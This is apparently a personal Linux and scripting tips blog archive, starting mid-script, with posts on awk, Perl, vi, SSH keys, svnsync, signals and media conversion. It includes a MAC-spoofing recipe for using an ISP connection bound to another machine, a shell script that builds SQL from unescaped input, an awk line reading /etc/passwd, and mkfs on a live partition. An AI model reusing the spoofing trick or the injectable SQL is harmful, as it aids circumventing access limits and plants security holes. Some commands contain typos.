echo "Done with $folder"
i=`expr $i + 1`
done

projectName=$1
userId="user1308"

DBConnect="psql -d psrdb -U psruser --tuples-only --single-line"

date=`date +"%F %T"`
projId=`echo "select id from project where path='projects.$projectName'" | $DBConnect`
projId=`echo $projId`

parent_folder_id=`echo "select id as parent_folderid from folder where path = 'scm' and project_id='$projId'" | $DBConnect`
parent_folder_id=`echo $parent_folder_id`

nextscm_id_query="select max(substring(id from (char_length('reps')+1))) from scm_repository"
primaryId_query="select id from objecttype where application='Scm' and name='Repository'"
secondaryId_query="select id from objecttype where application='Scm' and name='Commit'"

nextscm_id=`echo $nextscm_id_query | $DBConnect`
nextscmId=`echo $nextscm_id`
nextscmId=reps`expr $nextscmId + 1`
primaryId=`echo $primaryId_query | $DBConnect`
primaryId=`echo $primaryId`
secondaryId=`echo $secondaryId_query | $DBConnect`
secondaryId=`echo $secondaryId`

insertscm="insert into scm_repository values('$nextscmId', 'exsy1002', '/svnroot/$projectName', 'f')"
insertfolder="insert into folder values ('$nextscmId', 'scm.$projectName', '$projectName', '$projectName', '100', '$date+05:30', '$date+05:30','f', '$primaryId', '$secondaryId', '$userId', '$userId', '$parent_folder_id', '$projId', '0')"

scm=`echo $insertscm | $DBConnect`
fol=`echo $insertfolder | $DBConnect`

echo $scm" "$fol

How to set alias name for network machines

2009-02-05T11:33:00.001+05:30

Simple thing but avoids our repetative daily work.

To set alias name for your frequently used machine.

#Go to /etc/hosts
vi /etc/hosts
#Make an entry for your machine
#IPAddress Hostname Alias
127.0.0.1 connectmachine.com connect
#Restart your network
/etc/rc.d/init.d/network restart

Once it's done. do a ping to check it up

ping connect

How to Change the Timezone in Linux

2008-11-26T14:42:00.000+05:30

Changing Timezone in linux.

1) Change to the directory /usr/share/zoneinfo, where you can find list of timezone regions

2) Move your existing time zone
mv /etc/localtime /etc/localtime-old

3) Link the timezone u needed to localtime
ln -sf /usr/share/zoneinfo/America/Pacific /etc/localtime

4) Update the system time by
/usr/bin/rdate -s time-a.nist.gov

5) Set the ZONE entry in the file /etc/sysconfig/clock file (e.g. "America/Los_Angeles")

6) /sbin/hwclock --systohc

Visual block in VI

2008-10-08T15:17:00.001+05:30

Do you need to perform multiple line edits at a single stretch.

I came across VISUAL BLOCK in vi editor.

   CTRL + v makes you to enter the visual mode for your file.
   select multiple lines
   SHIFT + i gives you the insert mode
   Enter the text at beginning of the block
   Press ESC twice to apply changes to all lines.

Blogged with the Flock Browser

PERL script for extracting log file based on time

2008-09-25T11:32:00.000+05:30

Below code extracts the huge log file based on time frame passed.

#!/usr/bin/perl

use strict;

my $file;
my $times = 0;
my $needed_response_time = 0;
my $start;
my $end;

sub Usage
{
my ($msg) = $_[0];
if ($msg)
{
print STDERR "$msg \n";
}
print STDERR << "EOHELP"
Usage: split_access_log_by_time

options:

-t - :: time interval for which the log is needed
-g :: filter requests greater than the specified response time

example : split_access_log_by_time -t 10:30:32-12:20:22 access_log
example : split_access_log_by_time -g 10 -t 10:30:32-12:20:22 access_log

EOHELP

}

my $i = 0;
while(defined( (my $arg = $ARGV[$i++]) ))
{
if($arg eq '-g')
{
$needed_response_time = $ARGV[$i++];
}
elsif($arg eq '-t')
{
$times = $ARGV[$i++];
}
elsif($arg eq '-h')
{
Usage();
exit 1;
}
else
{
$file = $arg;
last;
}
}

if(!defined($file))
{
Usage("No input file specified");
exit 1;
}

($start, $end) = split('-', $times);
$start = make_seconds(split(':', $start));
$end = make_seconds(split(':', $end));

if ($end < $start)
{
Usage("end time should be greater than start time");
exit 1;
}

# Group requests based on users
open(FILE, $file);
while()
{
my $line = $_;

my @split = split(' ', $line);
my $time = $split[3];
my $response_time = $split[-1];
$time = substr($time, 1);

my @timefields = split(':', $time);

my $hour = $timefields[1];
my $minute = $timefields[2];
my $second = $timefields[3];

#my $time_in_seconds = ($hour * 60 * 60) + ($minute * 60) + $second;
my $time_in_seconds = make_seconds($hour, $minute, $second);
if ($start<=$time_in_seconds && $end>=$time_in_seconds && $response_time >= $needed_response_time)
{
print $line;
}
}

sub make_seconds()
{
(my $hour, my $minute, my $second) = @_;
return ($hour * 60 * 60) + ($minute * 60) + $second;
}

PERL script to combine two csv files

2008-09-25T11:17:00.000+05:30

Below script is used to combine two csv files based on the first column. For example, it is assumed both the file has first column related to project names.

#!/usr/bin/perl -w

$FILE1 = $ARGV[0];
$FILE2 = $ARGV[1];
$PROJECTFILE = $ARGV[2];

my %File1Map = ();
my %File2Map = ();

open(FILE1) or die("Could not open $FILE1 file.");
foreach $line () {
# ($Project,$Attachments,$Announcements,$Documents,$Discussions,$Users,$ArtifactTypeCount,$Alm) = split(',',$line);
($Project,$values) = split(',',$line,2);
# my $tempval="$Attachments,$Announcements,$Documents,$Discussions,$Users,$ArtifactTypeCount,$Alm";
my $tempval = $values;
# print "$Project,$values";
$tempval =~ s/\r|\n//g;
$File1Map{"$Project"} = "$tempval";
}

close(FILE1);

open(FILE2) or die("Could not open $FILE2 file.");
foreach $subline() {
($proj,$izcount) = split(',',$subline);
$File2Map{"$proj"}="$izcount";
}

close(FILE2);

open(PROJECTFILE) or die("Could not open $PROJECTFILE file.");
foreach $projname() {
($name,$dummy)=split('\n',$projname);
my $existingValue=$File1Map{"$name"};
my $newValue=$File2Map{"$name"};

if (! defined $existingValue)
{
$existingValue = ",,,,,,,,";
}
if (! defined $newValue)
{
$newValue = "\n";
}

print "" . $name . "," . $existingValue . "," . $newValue;
}

AWK IF ELSE block

2008-09-18T11:09:00.000+05:30

nawk -F"," ' BEGIN{OFS=","} {if (NR==1) {
print "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx"
} else {
print $1,$2,$3,$4,"S",1
print $1,$2,$3,$5,"S",2
print $1,$2,$3,$6,"D",1
print $1,$2,$3,$7,"D",2
}}' in.txt

Extract total number of requests hits

2008-09-18T10:36:00.000+05:30

Below is the command to calculate no of time projects accessed using the url. The informations are retrieved from log file where all the requests are logged.

Sample log file

[31/Aug/2008:05:50:08 +0200] 0.0.0.0 SSLv3 RC4-MD5 "GET /asf-help/RoboHelp_CSH.js HTTP/1.1" 7677
[31/Aug/2008:05:50:08 +0200] 0.0.0.0 SSLv3 RC4-MD5 "GET /wsf-images/masthead/logo.gif HTTP/1.1" 2430
[31/Aug/2008:05:50:09 +0200] 0.0.0.0 SSLv3 RC4-MD5 "GET /fsf-images/masthead/dropdown.gif HTTP/1.1" 49
[31/Aug/2008:05:50:09 +0200] 0.0.0.0 SSLv3 RC4-MD5 "GET /nsf-images/masthead/help.gif HTTP/1.1" 402

Script to copy contents of file between two specific line patterns

2008-09-10T16:33:00.000+05:30

Here is the script code to copy contents of files between two line patterns.

For example:
To copy the contents of file starting between the particular date and end date.

if [ $# -ne 3 ]; then
echo 1>&2 Usage: $0 file_to_parsed starting_pattern ending_pattern
exit 127
fi

startline=`grep -ni -m1 $2 $1 | awk -F ":" '{print $1}'`
endline=`grep -ni $3 $1 | tail -n1 | awk -F ":" '{print $1}'`

totallineno=`expr $endline - $startline + 1`
echo "Extracting contents between" $2 " and " $3
echo "No of lines found: " $totallineno
echo "Copying contents to temp file: " temp_file
echo "`head -n$endline $1 | tail -n $totallineno`" > temp_file
echo "Done copying."

Convert your DVD to other suitable formats

2008-09-10T14:33:00.001+05:30

Need to convert your dvd?.
Below is the command to do it.

for i in 3 4 5; // loop dvd chapters
do
mencoder dvd://1 -chapter $i-$i -o chapter$i.avi -oac mp3lame -ovc lavc -vf scale=320:240 -lavcopts vmax_b_frames=0:acodec=mp3:abitrate=128:vbitrate=256 -ofps 30;
done

Going through the loop makes our job easy for all the chapters.

AWK to calculate sum, min, max of particular field in txt

2008-09-10T14:27:00.001+05:30

Recently, I came across situation to calculate the sum, min, max of particular field using awk.
Below is the snippet I've used to calculate the field values.

awk 'BEGIN{
FS=OFS=",";
max = -999999999; min = 9999999999;
print "----------------------------"
}
{
sub(" Total requests: ","",$2);
val = int($2);
lines+=1;sum+=val;
if( val > max ) max = val;
if ( val < min ) min = val;
}
END{
print "| Total No of Lines: "lines " Sum: " sum " Average: " sum/lines " Max: " max " Min: " min
}' with_out.txt

Text File Contents for parsing:

09/Sep/2008:03:57:09, Total requests: 36, New requests: 34
09/Sep/2008:03:57:10, Total requests: 61, New requests: 58
09/Sep/2008:03:57:11, Total requests: 40, New requests: 38
09/Sep/2008:03:57:12, Total requests: 101, New requests: 97
09/Sep/2008:03:57:13, Total requests: 33, New requests: 35

AWK Samples

2008-08-28T12:04:00.000+05:30

Here are some of the useful awk program collections!

awk '{print $2,$1}' filename
awk '{print $2,$1}' filename
awk '$1 > $2 {print $1,$2,$1-$2}' filename

awk '$1 > $2'           filename
awk '$1 > $2{print}'    filename
awk '$1 > $2{print $0}' filename

awk '$1=="foo"{print $2}' filename
awk '/foo.*bar/{print $1,$3}' filename
awk '$2~/foo/{print $3,$1}' filename
awk '$2!~/foo/{print $3,$1}' filename

awk '/foo/,/bar/' filename

awk 'BEGIN{print"fee"} $1=="foo"{print"fi"}
  END{print"fo fum"}' filename

awk '{print $1,$NF }' filename
awk '{print NR,$0 }' filename
awk -F: '{print $1,$3 }' /etc/passwd
awk '{$10=""; print }' filename
awk '{for(i=1;i<=NF;i++) print $i }' filename awk '{printf("%s %03d %02d %.15g\n",$1,$2,$3,$3/$2); }' filename
awk '{for(i=NF;i > 0;i--) printf("%s",$i); printf("\n"); }' filename

Replace particular field of line using awk

2008-08-28T11:37:00.000+05:30

I was trying to replace the particular field of a line and found a suggestion for that.

echo 'count ****** 50' | gawk '{$2="\"5AB0\"";print}'

The above gawk command replaces the ****** with 5ABo.

To delete windows partition from ubuntu.

2008-08-20T14:40:00.000+05:30

1) Command to see the partition
sudo fdisk -l
2) Mount the windows partition
sudo mount /dev/sda1 /mnt/
3) Look for the files and verify the data
ls -rlt
4)Then look for the available file system
sudo mkfs.
5)Create the new file system
sudo mkfs.ext3 /dev/sda1
6)Finally mounting the created partition
sudo mount /dev/sda1 /mnt/

To change the file system.
sudo vim /etc/fstab

To remove windows during bootup
cd /boot/grub/
sudo vim menu.lst
sudo grub-install /dev/sda

For referrence:
prakash@prakash-laptop:/boot/grub$ cat /etc/fstab
# /etc/fstab: static file system information.
#
#
proc /proc proc defaults 0 0
# /dev/sda3
UUID=38683652-4d42-4885-a18a-aa1fede0ca9d / ext3 defaults,errors=remount-ro 0 1
# /dev/sda1
UUID=C2C8BE9CC8BE8DE3 /media/sda1 ntfs defaults,nls=utf8,umask=007,gid=46 0 1
# /dev/sda5
#UUID=F0F6AC07F6ABCC62 /media/sda5 ntfs defaults,nls=utf8,umask=007,gid=46 0 1
# /dev/sda4
UUID=cc9c91ad-8b78-417f-9e49-beee5eeb1486 none swap sw 0 0
/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0
# /dev/sda5
/dev/sda5 /home ext3 defaults,errors=remount-ro 0 1
# /dev/sda1
/dev/sda1 /data ext3 defaults,errors=remount-ro 0 1

How to combine avi files together

2008-08-06T16:59:00.001+05:30

Hi,
I was trying to combine the 2 avi files and finally came with the good output. Here are the commands I've used to do it.

1) First rename the files to be appended with sequential numbers in it.

cat v1.avi v2.avi > vtest.avi

2) Then invoke mencoder to get the audio and video synchronization.

mencoder -forceidx -oac copy -ovc copy vtest.avi -o vtest_final.avi

Cowon d2 avi file support

2008-07-14T15:02:00.000+05:30

I bought a new cowon d2 portable media player and it's sounds great.

I can't play the avi downloaded from the internet. I need to convert this avi using the below command to play it

mencoder Kallai_Mattum_Kandal.avi -o Kallai_Mattum_Kandal_Cowon.avi -ovc lavc -vf scale=320:240 -oac mp3lame -lavcopts vmax_b_frames=0:acodec=mp3:abitrate=128:vbitrate=256

for i in $*
do
mencoder $i -o $i"_Cowon.avi" -ovc lavc -vf scale=320:240 -oac mp3lame -lavcopts vmax_b_frames=0:acodec=mp3:abitrate=128:vbitrate=256 -mc 30
done

The above makes the player to play the file with good video and sound.

Create master and slave subversion repository setup using svnsync

2008-07-03T20:42:00.000+05:30

I've learned the one more svn command svnsync, which I ever tried before. thought sharing this will be usefull for svn buddies.

Basically this command is to replicate the svn repository (i.e) Master to n number of slave repository setup.

How to:

1. Create the slave repository. follow the below steps for creating that.

a. Create an new repository.
b. Then you need to alter somescripts in the newly created repository inorder to accept this setup.
c. Get in to hooks directory of newly created above repository and rename pre-revprop-change.tmpl to pre-revprop-change.
d. Give pre-revprop-change executable permission.
e. Then edit the pre-revprop-change and add exit 0 at the begining of the file.

2. Execute the below commands to point master repository to newly created slave

1. svnsync init slaverepositoryurl masterrepositoryurl
The above command is one time setup command (i.e) pointing the master repository to slave repository.
2. svnsync sync slaverepositoryurl
The above command is invoked when ever you need to sync with master repository.

Similarly you can have n number of slaves for the master repository.

Also heared that this is not the right way to use it in production, but any how Im posting this to get startup.

VIM properties

2008-06-02T16:15:00.000+05:30

< snippet >

set shiftwidth=4
set expandtab
set tabstop=4

< / snippet >

post the above snippet on ~/.vimrc and compile it using source ~/.vimrc

Making your vi for default settings

2008-05-28T21:06:00.000+05:30

If you want your vi editor to load with default settings (i.e) the line number to be displayed and also tabspace to set for 4 characters.

Here the way to do...

create a file ~/.exrc with settings

set nu
set tabstop=3

Then opening the vi will have these settings common for all.

More about MySQL

2008-05-22T16:49:00.000+05:30

MySQL has two types of engine
1) InnoDB
2) MyISAM.

The difference b/w the above two is, former supports the subquery, constraints etc... but the later won't support those. This causes the MyISAM tables relatively faster during retrieval when compared to InnoDB. But the problem is the constraint check and subquery are not applicable in it.

Related to performance engineering.

How to find the total rows processed when executing an query and other infrmation.

use, explain query
(i.e) explain select * from table.

Related to mysql dump

How to see the create table script of an existing table ?

use, show create table &lt table_name &gt
(i.e) show create table &lt table_name &gt

Related to process

How to find the process id executing in mysql when you run a query? (i.e) Executing an query from the java client will create a process in background.

use, show processlist

SSH key generation

2008-05-21T12:16:00.000+05:30

We will be ended up by re entering the password when ever we connect to a remote machine using ssh.

Here is the way to avoid re entering the password each and every time by generating a key pair Id and moving to remote machine only once.

ssh-keygen -t dsa

Generating public/private dsa key pair.

Enter file in which to save the key (/home/localuser/.ssh/id_dsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/localuser/.ssh/id_dsa.
Your public key has been saved in /home/localuser/.ssh/id_dsa.pub.
The key fingerprint is:
93:58:20:56:72:d7:bd:14:86:9f:42:aa:82:3d:f8:e5 localuser@mybox.home.com

scp ~/.ssh/id_dsa.pub username@remotemachine:.ssh/authorized_keys


login to remote machine

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Power of Shell Script

2008-05-16T17:01:00.000+05:30

Scripts makes the job more easy !

Below is the sample script which I wrote to retrieve the count of files modified for all the modified dates in home directory. This script also gives the sum of bytes for files modified on the corresponding dates.

prakash@prakash-laptop:~$ for filedate in `ls -l | awk '{print $6}' | sort | uniq -c | awk '{print $2}'`;do ls -l | grep $filedate | awk 'BEGIN{print "----------------------------"} {count+=1;sum+=$5} END{print $6" | " count " | " sum }' ; done

Sample Output
----------------------------
Date | Count | Sum of bytes
----------------------------
2007-10-30 | 1 | 26
----------------------------
2007-11-21 | 1 | 4096
----------------------------
2008-02-06 | 1 | 332341
----------------------------
2008-02-25 | 2 | 8192
----------------------------
2008-03-03 | 1 | 999
----------------------------
2008-03-04 | 1 | 219
----------------------------
2008-03-05 | 1 | 3402
----------------------------
2008-03-06 | 2 | 739209
----------------------------
2008-03-11 | 4 | 6648
----------------------------
2008-03-14 | 10 | 50918
----------------------------
2008-03-15 | 4 | 106573
----------------------------
2008-03-16 | 1 | 10635

Really the scripting makes your job more easy.

Ignoring Unix signals

2008-05-15T12:36:00.000+05:30

Here is the interesting small C program I came across to ignore the unix signals!. Basically I'm a Java programmer, so this small C impressed me a lot :)

Below program ignores the CTRL + C signal,

test.c

#include < stdio.h >
#include < signal.h >

main()
{
signal(SIGINT,SIG_IGN);
while(1)
printf("You can't kill me with SIGINT anymore, dude\n");
return 0;
}

gcc test.c -o testout
./testout

Running the above program completely ignores the CRTL + C command and keep on running with out aborting. CRTL + C sends the SIGINT signal and we ignore that in program.

UNIX SIGNALS

2008-05-13T17:51:00.000+05:30

THE UNIX SIGNALS are used for communicating the process when ever the event has occurred.

When ever you give CRTL + C on the running process or kill on the running process id, the signals are sent to process to notify the event.

There are about 64 signals and can be viewed using kill -l.

When you press CRTL + C , by default SIGINT is sent to the running process,
When you press CRTL + Z , by default SINTSTP is sent to the running process,
When you press CRTL + / , by default SIGABRT is sent to the running process.

Think when some one press CTRL + C when your program is half the way, you are going to end up with non cleaned up resource, this is because you do'nt have handler over the SIGINT in our program.

You can write the handler for CRTL + C using trap as follows to get the control. You cannot get the handler for SIGKILL and SIGSTOP. These two signals cannot be caught while other can be.

test.sh

!/bin/bash

trap "echo 'This is trap executing for 0!'; exit 0" 0
trap "echo 'This is trap executing for SIGINT!'; exit 1" SIGINT
trap "echo 'This is trap executing for SIGKILL!'; exit 1" SIGKILL
trap "echo 'This is trap executing for SIGTERM!'; exit 1" SIGTERM
trap "echo 'This is trap executing for SIGABRT!'; exit 1" SIGABRT

echo "We are running the script. Press Ctrl-C to cause trap to execute!"

read

We can also send the signals during kill using pid.

For EX:
kill -15 pid,

The above command will send the SIGTERM signal to the pid before terminating. So you can do your clean up logic by handling the signal in your program.

Using kill -9 pid,

the above command will send the SIGKILL signal but it cannot be caught by the program, this is also similar to SIGSTOP that cannot be caught too.

So it's advisable to use the SIGTERM to kill the process and then the SIGKILL as we can caught the SIGTERM signal for our operations and the SIGKILL cannot be.

The Recommended order of killing the process id is

kill_pid () {
PID=$1
RETVAL=0

for signal in "TERM" "INT" "HUP" "KILL"; do
kill -$signal $PID
RETVAL=$?
[ $RETVAL -eq 0 ] && break
echo "warning: kill failed: pid=$PID, signal=$signal" >&2
sleep 1
done

return $RETVAL
}

kill_pid 1234

How to find processor 32 bit or 64 bit

2008-05-13T12:34:00.000+05:30

Some time you may need to know what bit your processor uses, for installing the packages.

Here is the way you can use to find the information.

getconf LONG_BIT

uname -m

(

x86_64 GNU/Linux indicates you have 64bit CPU. If you use see i386/i486/i586/i686 then it is a 32 bit CPU.

Facing problem with X11

2008-04-04T20:09:00.000+05:30

I've faced some problem with X11 forwarding. Then I analsyed the X process using ps -ef | grep X

I found the X process initialized has the argument--nolistentcp. Actually this prevents the tcp connection for X11. So make sure this is disabled in gdm.conf.

I came to know there is a entry in /etc/X11/gdm/gdm.conf which prevents the TCP connection.

after altering the "DisallowTCP"=false.

and restart the X windows.

To restart X windows CRTL + ALT + backspace or restart the system.

This made my totem movie player works

2008-04-01T15:44:00.000+05:30

Struggled a long to make my totem player work, finally the ubuntuforumn gives a break,

Below is the apt-get I ran,

sudo apt-get install ubuntu-restricted-extras

To find opened ports in linux

2008-04-01T15:16:00.000+05:30

After a long search I found the good way to search the opened ports in a machine.
It's nmap & netstat.

Syntax

netstat -na | grep 6000

nmap -p 1-63335 localhost

The above command displays the ports opened in machine localhost.

Mastering VI

2008-03-27T20:30:00.000+05:30

`D`	To delete remaining characters under cursor in current line.
`dd`	To delete entire line and copy to clipboard
`$`	Move the cursor to the end of the current line.
`C-g`	To display filename and number of lines in end of the terminal
`r`	To replace single character under cursor
`R`	To replace multiple character under cursor untill escape is pressed
`dw`	To replace a word under cursor

Mastering Bash

2008-03-27T19:32:00.001+05:30

`C-a`	Move the cursor to the beginning of the input line.
`C-d`	Same as [DEL] (this is the Emacs equivalent).
`C-e`	Move the cursor to the end of the input line.
`C-k`	Kill, or "cut," all text on the input line, from the character the cursor is underneath to the end of the line.
`C-l`	Clear the terminal screen.
`C-u`	Kill the entire input line.
`C-y`	Yank, or "paste," the text that was last killed. Text is inserted at the point where the cursor is.
`C-_`	Undo the last thing typed on this command line.
[←]	Move the cursor to the left one character.
[→]	Move the cursor to the right one character.

To resize image for thumbnail in linux

2008-03-27T19:03:00.000+05:30

Need the thumbnail, Here is the utility I used..

First install the imagemagic
sudo apt-get intsall imagemagic

Use convert command to make your thumbnail.

Here 200 is the 200px width
convert -thumbnail 200 DSC01536.JPG DSC01536_thumb.JPG

Here x200 is the 200px height
convert -thumbnail x200 DSC01536.JPG DSC01536_thumb.JPG

< CRTL > + r for Search in terminal command line

2008-03-27T18:42:00.000+05:30

"This is used to search already executed command in Linux terminal."

We waste timings by retyping the command often for a small argument changes. But this is not worthy, Hmmm you can use CRTL + r to searching the already executed commands.

USAGE:
Press CRTL + r and enter text to match the already executed command. Matching results will be dispalyed, so now you can reuse them.

To Alter MAC address in windows, linux

2008-03-19T16:54:00.000+05:30

I heard that we can't use some internet broad band connectivity expect the specific system as it's bounded to that specific MAC address.

Hmmm, the above raised a question? how to use that in other laptop etc...

Got a suggestion, Why can't you change your machine or laptop's MAC address matching the original bounded MAC address.

To Change MAC address in windows!

Go to,

Settings > Network Connections > local area connection > General Tab > configure > Advanced > Locally Administered Address > value.

Give the value , MAC address of bounded machine.

To Change MAC address in linux!

ifconfig eth0 down

ifconfig eth0 hw ether 00:00:00:AB:AC:AA

ifconfig eth0 up

This will use the mac address temporally to browse!.

About Zenity, a linux command.

2008-03-11T20:00:00.000+05:30

Need GTK+ support for the command or shell. Yes this is the right command. It's almost belong to similar family like Xdisplay, display, cDisplay.

Try this, it's awesome. I do no whether it's inbuilt in redhat but it's there in ubuntu.

Some quick cracks on that.

To get the calendar !
zenity --calendar
To get the input from the user !
zenity --entry
To get Yes or No
zenity --question --text "Do you need to proceed reading?"

Use the ouput of the above command to input of another command using echo $?.

The echo$? returns status of the previous command.

answer=`zenity --question --text "You appear to have an AMD64 architecture. Do you want to install the 64-bit version of Songbird?"; echo $?`

if [ $anw = 0 ] ; then
....
....
....
fi

I've missed this command lot or else I would've used in most of my scripting languages to get the user inputs :)

GNU Screen && nohup

2008-03-07T10:14:00.000+05:30

These commands are useful to run commands even after closing ssh.

screen - when you need to run the process in background with the terminal alive for further process or monitor

nohup - when you need to run the process in background with out control over the process or the monitor.

Commands for screen

To start the new screen
screen

To detach from the screen with out exiting the session
Crtl a + d

To reattach to the default first screen
screen -r

If more than one screen listed then select the appropriate screen using

screen -x {pid/name}

Command for nohup

nohup command

Hibernate it's not "Hibernate in Action"

2008-03-04T19:46:00.000+05:30

I was little bit eager to find why my windows OS doesn't consume power and it's not same in case of ubuntu OS during my laptop is idle.

Then the reason came out is because of "Hibernate", Yes there is an Hibernate function in windows xp which makes the batteries live longer. Then I've used the Hibernate function in ubuntu too and it made it as expected!!!!.

VPN configuration in Ubuntu

2008-03-04T11:49:00.000+05:30

Recently I've configured the VPN for first time and here are
some commands related to it.

Install VPNC
sudo apt-get install vpnc
cd /etc/vpnc/
sudo ls /etc/vpnc

Configure VPNC
sudo vim /etc/vpnc/example.conf
sudo mv /etc/vpnc/example.conf /etc/vpnc/default.conf
sudo vpnc
sudo vim /etc/vpnc/default.conf

To start VPNC
sudo vpnc

To Disconnect VPNC
sudo vpnc-disconnect
ps ax|grep network

Restart Network
sudo /etc/init.d/networking restart
ping yahoo.com

To split and analyze the log files.

2008-02-26T18:57:00.000+05:30

When ever the log file size is more, Try splitting it and view the file!

Calculate the length of the log file

wc -l log-file.log

Then split the file based on the total number of lines.
For ex Consider the no of lines as 1000, then we can split in to files of 100 lines using below command.

split -l100 log-file.log log-file.log.

This will result in multiple files of 100 lines each. The name of files would be appended by aa,ab,....

To rejoin the file use below command

$ cat log-file.log.* >lastweek.mp3

What for /dev/null?

2008-02-26T18:41:00.000+05:30

Do you know why they redirect to /dev/null

/dev/null or the null device is a special file that discards all data written to it

The null device is typically used for disposing of unwanted output streams of a process. It's equivalent to "don't bother about the results ".

ex:

ls -l *.txt > name.txt 2>/dev/null

Consecutive commands in linux

2008-02-25T18:24:00.000+05:30

Adding && between the commands works!

Command1 && Command2

Some times we would be pasting the command in vim with out a directory. I think this will be more helpful to append before the command instead of removing and pasting another time.

mkdir DIST && command

Debug Java Application or Java Web Application using Eclipse

2008-02-25T14:18:00.000+05:30

Steps To Configure Java Application with eclipse

1. Append below parameters to JVM_ARGUMENTS of the Application

-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,
address=5050

2. Configure your Eclipse Debugger.

Go to project source.
Place Break Points in Project source where ever needed.
Go to Project > Run > Open Debug Dialog
Create new Remote Java Application with corresponding parameter
Host - Application Host IP
Port - Port specified in JVM_ARGUMENTS of Application.
Click Debug

3. Access your application.

Basic X11 Forwarding Over SSH

2008-02-22T11:45:00.000+05:30

X11Forwarding needs to be enabled on the sshd server. Do this by making the following edit:
File: /etc/ssh/sshd_config

After you make these changes, you will need to restart sshd so the changes will be accepted:
/etc/init.d/sshd restart

Don't forget to log out and log in to the server for this change to take effect.

Note: one reason for receiving the error messages

xterm Xt error: Can't open display: your_client_name:0.0

may be that X11Forwarding is not enabled on the server.
[edit] Running single apps

$ ssh -X < remote_server >

Needed shell script to compile and run java files.

2008-02-21T21:08:00.001+05:30

#Let's start building the classpath with existing jars & libs.
THE_CLASSPATH=
for i in `ls *.jar`
do
THE_CLASSPATH=${THE_CLASSPATH}:${i}
done

# Let's compile all the java file.

for i in `find . -name '*.java'`
do
echo "Compiling $i"
javac -cp $THE_CLASSPATH $i
done

# invoke the main function.

java -cp .:$THE_CLASSPATH $CLASSNAME$
unset THE_CLASSPATH

To set classpath in linux

2008-02-21T21:02:00.000+05:30

Simple tips, tought it will be useful

CLASSPATH=*.class:$CLASSPATH
export CLASSPATH

To open mutiple files in vi

2008-02-20T11:04:00.000+05:30

vi -o file1 file2

To switch between splitted windows use

< ctrl >+ w

To Quit all qa!
To save all wa!
To save&quit wqa!

Diff and Patch

2008-02-19T12:26:00.000+05:30

I Recently came across two more useful linux commands diff and patch. :)

DIFF:
Display the differences between two files, or each corresponding file in two directories.
SYNTAX
diff [options] from-file to-file > path-file-name

PATCH
SYNTAX
patch -p0 < new-patch
patch -p1 < new-patch
Levels in the Patch Command (-p0 or -p1?):
The -p option will optionally strip off directory levels from the patchfile. For Ex: if you have a patchfile with a header as such:

--- old/modules/pcitable Mon Sep 27 11:03:56 1999
+++ new/modules/pcitable Tue Dec 19 20:05:41 2000

Using a -p0 will expect, from your current working directory, to find a subdirectory called "new", then "modules" below that, then the "pcitable" file below that.

Using a -p1 will strip off the 1st level from the path and will expect to find (from your current working directory) a directory called "modules", then a file called "pcitable". Patch will ignore the "new" directory mentioned in the header of the patchfile.

For more Info:
man diff/patch

To Reset Firefox MasterPassword

2008-02-19T11:56:00.000+05:30

Firefox:

Enter "chrome://pippki/content/resetpassword.xul" in the Location Bar, press Enter, then click "Reset"

Powerfully using SSH

2007-07-23T10:38:00.000+05:30

This is the article which gives good ideas to use SSH powerfully

http://polishlinux.org/apps/ssh-tricks/#